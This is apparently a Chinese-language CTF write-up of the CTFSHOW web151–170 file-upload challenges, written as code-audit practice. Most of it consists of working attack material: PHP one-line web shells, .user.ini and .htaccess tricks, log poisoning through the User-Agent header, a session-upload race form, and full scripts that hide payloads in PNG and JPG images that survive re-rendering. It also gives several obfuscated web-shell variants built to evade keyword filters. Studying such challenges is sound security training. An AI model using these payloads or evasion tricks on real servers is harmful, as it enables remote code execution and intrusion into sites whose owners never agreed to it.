本系列题目来源:CTFSHOW: https://ctf.show/challenges
想搞好代码审计,必须要搞懂其中一些危险函数危险应用,以及过滤不足,
故以 CTF 来练习。
web151~前端验证
直接抓包修改后缀。
web152~前端+MIME
直接抓包修改后缀。
web153~.user.ini
https://www.php.net/manual/en/ini.list.php
使用条件:
(1)服务器脚本语言为PHP 服务器使用CGI/FastCGI模式
(2)上传目录下要有可执行的php文件
使用方式:
上传一张图片马
上传
.user.ini
auto_prepend_file=ma.png访问
.user.ini
同级目录中的一个php文件。
本题目中有 /upload/index.php
,所以可以操作。
题目配置可以从http相应包得到。nginx/1.18.0 (Ubuntu)
web154~文件内容过滤php
上来测试发现是黑名单过滤的。
我们还可以上传 .user.ini
,并且upload/index.php
真好存在。
那么我们上传一张图片马,
发现被拦截了。
文件上传失败,失败原因:文件内容不合规
猜测可能是拦截了 php 字符串。那么我们删掉他试试,果然上传成功。
那么我们呢绕过就可以了。
<? echo '123';?> # 不可
<?=eval($_POST['a']);?>
<script language="php">eval($_POST['a']);</script> # 不可用
web155~文件内容过滤php
测试正常的 png 图片可以上传。
对图片内容过滤php
绕过 <?=eval($_POST['a']);
步骤跟上关一样。。。。。
web156~过滤 php, [
测试,又是文件内容过滤了 php
.
紧接着发现事情没这么简单,还过滤了[
,这给传参造成了一定的困难。
但是我们可以直接
<?=system('cat ../flag.???');
<?=eval($_POST{'a'}); # 用 {} 代替 []
web157~过滤分号
nginx/1.18.0 (Ubuntu) PHP/5.6.40
文件名黑名单
经测试,对文件内容过滤了 php
、[
、{
、 ;
上传.user.ini
我们知道 php 最后的语句也可以不加分号的,前提是得有 ?>
结束标志。
上传 2.png
<?=system('ls ../')?>
<?=system('cat ../*')?>
访问upload/index.php
web158~过滤分号
和web157解法相同。
web159~过滤括号
经测试,对文件内容过滤了 php
、[
、{
、 ;
、 (
问题不大,不能用函数了。
那我们用反引号代替system()
<?=`cat ../*`?>
web160~过滤反引号,包含日志
经测试,对文件内容过滤了 php
、[
、{
、 ;
、 (
、 反引号 、空格。
好家伙。包含日志文件,但发现 log
也被过滤了。那就进行拼接。
上传.user.ini
后,在上传 ma.png
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
看到页面回显,确实包含了。
想着直接浏览器访问 url 路径带上一句话,但是却被编码了 %3C?php%20eval($_POST[1]);?%3E
还是再UA出比较好。
修改UA User-Agent: <?php eval($_POST[1]);?>
然后成功getshell.
web161~检测文件头
发现只有文件内容异常的图片已经上传不上去了。猜测应该是对文件头进行了检测。
上传 GIF89a
成功绕过,但是这里文件内容测试只有两个字符的时候还不能上传。。。。。所以多放点字符。
其余操作和上官相同。
web162~包含session文件
测试,这关也检测了文件头,但是同时过滤掉了 点 .
我们可以看到这样绕过
.user.ini :
GIF89a
auto_prepend_file=ma
但上传ma
文件,同样不能包含日志文件。这时候就需要包含session文件了。
这里还过滤了flag
上传 ma
GIF89a
<?=include"/tmp/sess_fllag"?>
那么我们就开始构造,session文件竞争包含。
构造
<!DOCTYPE html>
<html>
<body>
<form action="http://58b10a1f-08e0-4689-8b64-2e8641d2948b.chall.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
一直上传,内容为写后门到 a.php
然后一直包含session文件。
可以看到成功包含,那么此时我们去upload/a.php
,成功访问,并测试后门成功写入。
可以参考文件包含篇:
还有 利用session.upload_progress进行文件包含
web163~包含session文件
过滤还是前面的过滤。
操作和上关一样的。
这里有upload/index.php
,所以我们其实可以直接利用此文件包含Session文件。
上传.user.ini
:
GIF89a
auto_prepend_file=/tmp/sess_fllag
然后就开始session文件竞争上传和包含。
成功。
这是题目源码:
<?php
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if($ext_suffix!='php'){
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if(stripos($content, "php")===FALSE && check($content) && getimagesize($_FILES["file"]["tmp_name"])){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}
}
function check($str){
return !preg_match('/php|\{|\[|\;|log|\(| |\`|flag|\./i', $str);
}
function clearUpload(){
system("mv ./upload/index.php ./index.php_");
system("rm -rf ./upload/*");
system("mv ./index.php_ ./upload/index.php");
}
sleep(2);
clearUpload();
echo json_encode($ret);
web164~png二次渲染
测试了一下。
{"code":3,"msg":"只允许上传png格式图片"}
白名单验证。
找了一张测试可以成功上传png图片。
还发现
download.php?image=4a47a0db6e60853dedfcfdf08a5ca249.png
可以随意修改图片又会被检测,故做图片马。
但是一般的图片马还绕不过,应该是做了二次渲染。
所以可以上传二次渲染绕过的图片,在做文件包含即可。
生成脚本:
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
/* <?$_GET[0]($_POST[1]);?> */
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
web165~jpg二次渲染
测试只能上传 jpg.
{"code":3,"msg":"只允许上传jpg格式图片"}
也是二次渲染,当我们写后门进图片是,后台会自动检测并删除数据。
那么就用到 jpg二次渲染绕过了。
拿脚本
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "<?=eval(\$_POST[1]);?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
先上传一张图片,然后下载下来,然后利用脚本生成。
php jpg_payload.php <jpg_name.jpg>
再继续上传,
发现这张图片不行,再来一张。
成功。
需要注意的是,有一些jpg图片不能被处理,所以要多尝试一些jpg图片.
web166~zip文件上传包含
尝试多次,发现zip 文件可上传。
但是上传直接编辑后门一句话的压缩包。
web167~.htaccess
但这只是前端限制。
可以看到,只允许jpg上传。
抓包测试了一下,是黑名单。
开局有个提示httpd
测试apache解析漏洞没解析。
测试.htaccess
成功。
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
然后上传带有马的 1.jpg
即可。
但是这里浏览器响应回来的是 nginx呀,坑。
web168~后门免杀
基础免杀
测试,会检测_GET
、_POST
。
可抓包后修改直接上传php文件。
反引号
反引号达到命令执行的效果。
<?php
$_=`whoami`;
echo $_;
// <?= `whoami`?>
把源码拔下来
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-24 19:34:52
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-30 00:11:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$str = file_get_contents($_FILES["file"]["tmp_name"]);
if(check($str)===0){
move_uploaded_file($_FILES["file"]["tmp_name"], './upload/'.$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>$_FILES["file"]["name"]);
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}
}
function check($str){
return preg_match('/eval|assert|assert|_POST|_GET|_COOKIE|system|shell_exec|include|require/i', $str);
}
echo json_encode($ret);
本来还想着包含一波日志。
字符拼接
<?php $a='syste'.'m';($a)('ls ../');
$_REQUEST
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
数学函数
<?php
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{abs})($$pi{acos});
# get传参 abs=system&acos=ls
其他函数构造
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
web169~.user.ini包含日志
测试发现
抓包需修改Content-Type: image/png
文件名后缀随意。
看看文件内容过滤了啥 <> ? 等等。
只能进行 .user.ini
日志文件包含了。
思路: 上传 .user.ini
auto_prepend_file=/var/log/nginx/access.log
然后随便上传个php文件即可。
然后改UA为一句话即可。
web170
测试上传zip,抓包修改,后缀为php
, MIME类型为image/png
.
包含.user.ini
日志文件/var/log/nginx/access.log